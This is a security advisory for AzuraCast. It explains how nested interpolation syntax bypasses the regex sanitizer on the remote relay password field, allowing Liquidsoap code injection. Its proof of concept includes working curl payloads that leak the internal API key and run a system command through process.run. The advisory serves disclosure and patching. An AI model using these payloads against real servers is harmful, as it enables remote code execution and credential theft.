azuracast/azuracast · AzuraCast Vulnerable to Liquidsoap Code Injection via Incomplete cleanUpString-to-toRawString Migration in Remote

## Summary The `cleanUpString()` method in `ConfigWriter.php` uses an ungreedy regex to strip Liquidsoap string interpolation patterns (`#{...}`) from user input. This regex can be bypassed via nested interpolation syntax (`#{#{EXPR}}`), allowing injection of arbitrary Liquidsoap code. Commit `ff49ef4` migrated most user-controlled fields to the safe `toRawString()` method but left the remote relay password field using the vulnerable `cleanUpString()`. A user with the `RemoteRelays` station permission can achieve arbitrary code execution in the Liquidsoap process, leak internal API keys, or disrupt station operation. ## Details ### The Vulnerable Sanitizer `cleanUpString()` at `backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php:1349-1367`: ```php public static function cleanUpString(?string $string): string { $string = str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? ''); // Remove strings that are interpolated $string = preg_replace( '/#{(.*)}/U', // Ungreedy: matches minimum chars to first } '$1', $string ); $string = preg_replace( '/\$\((.*)\)/U', '$1', $string ?? '' ); return $string ?? ''; } ``` The `/U` (ungreedy) flag causes `.*` to match the **minimum** characters until the first `}`. With nested input `#{#{EXPR}}`: 1. Regex finds `#{` at position 0 2. Ungreedy `.*` matches `#{EXPR` (stops at the **first** `}`) 3. Full match consumed: `#{#{EXPR}` — replacement with capture group `$1` yields: `#{EXPR` 4. The trailing `}` is appended by the regex engine (it was outside the match) 5. **Final result: `#{EXPR}`** — a valid Liquidsoap string interpolation expression ### The Incomplete Patch Commit `ff49ef4` ("Use raw strings for user-input strings to avoid interpolation", 2026-03-06) correctly migrated host, username, mount, name, description, genre, and URL fields to `toRawString()`. However, the password field was left using `cleanUpString()`: `ConfigWriter.php:1208-1215`: ```php $password = self::cleanUpString($source->password); // Still vulnerable $adapterType = $source->adapterType; if (FrontendAdapters::Shoutcast === $adapterType) { $password .= ':#' . $id; } $outputParams[] = 'password = "' . $password . '"'; // Double-quoted = interpolated ``` The password is embedded in a Liquidsoap **double-quoted string**, which evaluates `#{...}` interpolation expressions. ### Why toRawString() Is Safe `toRawString()` uses Liquidsoap raw string delimiters (`{str_xxxxx|...|str_xxxxx}`) which **do not perform interpolation**, making them immune to this attack class. ### The Input Path 1. Attacker sends `PUT /api/station/{station_id}/remote/{id}` with `source_password` containing the nested payload 2. Entity setter truncates to 100 chars via `mb_substr` (payloads fit within this limit) 3. No validation on password content 4. On station config regeneration, `ConfigWriter::getOutputString()` calls `cleanUpString()` on the password 5. Bypass produces valid interpolation, embedded in double-quoted Liquidsoap string 6. Liquidsoap evaluates the interpolation when loading the config ## PoC ### Step 1: API Key Disclosure (38 chars) ```bash # Set malicious password on an existing remote relay curl -X PUT "http://azuracast.local/api/station/1/remote/1" \ -H "X-API-Key: $API_KEY" \ -H "Content-Type: application/json" \ -d '{"source_password": "#{#{settings.azuracast.api_key()}}"}' ``` After `cleanUpString()` processing, the password becomes `#{settings.azuracast.api_key()}`. When Liquidsoap loads the config, the generated line: ``` password = "#{settings.azuracast.api_key()}" ``` evaluates to the internal API key value, which is then sent as the password to the remote relay server — observable by the attacker if they control the relay endpoint. ### Step 2: Remote Code Execution (54 chars) ```bash # RCE payload using string.char() to bypass quote filtering curl -X PUT "http://azuracast.local/api/station/1/remote/1" \ -H "X-API-Key: $API_KEY" \ -H "Content-Type: application/json" \ -d '{"source_password": "#{#{process.run(string.char(105)^string.char(100))}}"}' ``` After processing: `#{process.run(string.char(105)^string.char(100))}` → executes `id` command. `string.char()` and the `^` concatenation operator are used to build the command string without double quotes (which `cleanUpString` replaces with single quotes, and Liquidsoap doesn't support single-quoted strings). ### Step 3: Trigger config regeneration Restart the station or modify any station setting to force Liquidsoap config regeneration. The payload executes when Liquidsoap loads the new config. The same bypass works with `$($(EXPR))` via the second regex `/\$\((.*)\)/U`. ## Impact - **Arbitrary code execution** within the Liquidsoap process container via `process.run()` - **Internal API key disclosure** via `settings.azuracast.api_key()`, granting the attacker full internal API access to the station - **File read/write** w

• github.com/AzuraCast/AzuraCast/security/advisories/GHSA-q4ph-8x8g-95f8 (opens in a new tab)
• github.com/AzuraCast/AzuraCast/commit/d6b8422fc2c36269df9d1adec89dfbba58828915 (opens in a new tab)
• github.com/AzuraCast/AzuraCast (opens in a new tab)

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